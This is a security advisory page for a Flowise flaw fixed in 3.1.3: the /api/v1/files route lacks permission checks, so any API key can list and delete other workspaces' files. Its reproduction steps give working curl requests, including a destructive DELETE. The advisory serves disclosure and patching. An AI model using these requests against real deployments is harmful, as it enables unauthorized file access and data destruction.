Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
summary:
In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.
details:
The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:
getAllFilesuses onlyreq.user.activeOrganizationIdand callsgetFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage rootdeleteFilereadsactiveWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed usingactiveOrganizationId + user-controlled path
As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:
- called
GET /api/v1/filesand received200 OK - listed a test file stored under a different workspace,
f92a9a4d-392e-4db2-af82-d14e1d553446 - called
DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txtand received200 OK - confirmed the file was removed by re-querying the file list
impact:
Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.
reproduction steps:
- Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:
curl -i -b tamako.cookie \
-H 'x-request-from: internal' \
-H 'Content-Type: application/json' \
-d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
http://localhost:8080/api/v1/apikey
- Record the returned API key. In my local test, the key was:
ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E
- Prepare a test file under a different workspace within the same organization, for example:
f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt
- Use the low-privileged API key to list files:
curl -i \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
http://localhost:8080/api/v1/files
- Observe a
200 OKresponse that includes a file from another workspace, for example:
[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]
- Use the same API key to delete that file:
curl -i -X DELETE --get \
-H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
--data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
http://localhost:8080/api/v1/files
- Observe a
200 OKresponse:
{"message":"file_deleted"}
- Call
GET /api/v1/filesagain and confirm that the file is no longer present.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | flowise | < 3.1.3 | 3.1.3 |
References
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-wp74-f5hh-5f3r
- https://github.com/FlowiseAI/Flowise/pull/6435
- https://github.com/FlowiseAI/Flowise/commit/bc22bf8baec95b6a3d6e1b3563b4f03491cd6fbb
- https://github.com/FlowiseAI/Flowise
- https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-862- Platform
- npm
- Package
flowise- Disclosed
- 04.08.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-wp74-f5hh-5f3r - CC BY 4.0
Vulnerability history: flowise
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 114
- First → latest
- 04.2024 10.2026
- Without a fix
- 16
- Exploited in attacks
- 0
Severity breakdown
- Critical 28
- High 62
- Medium 24
Disclosures per year
- 2024: 11
- 2025: 22
- 2026: 81
-
Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.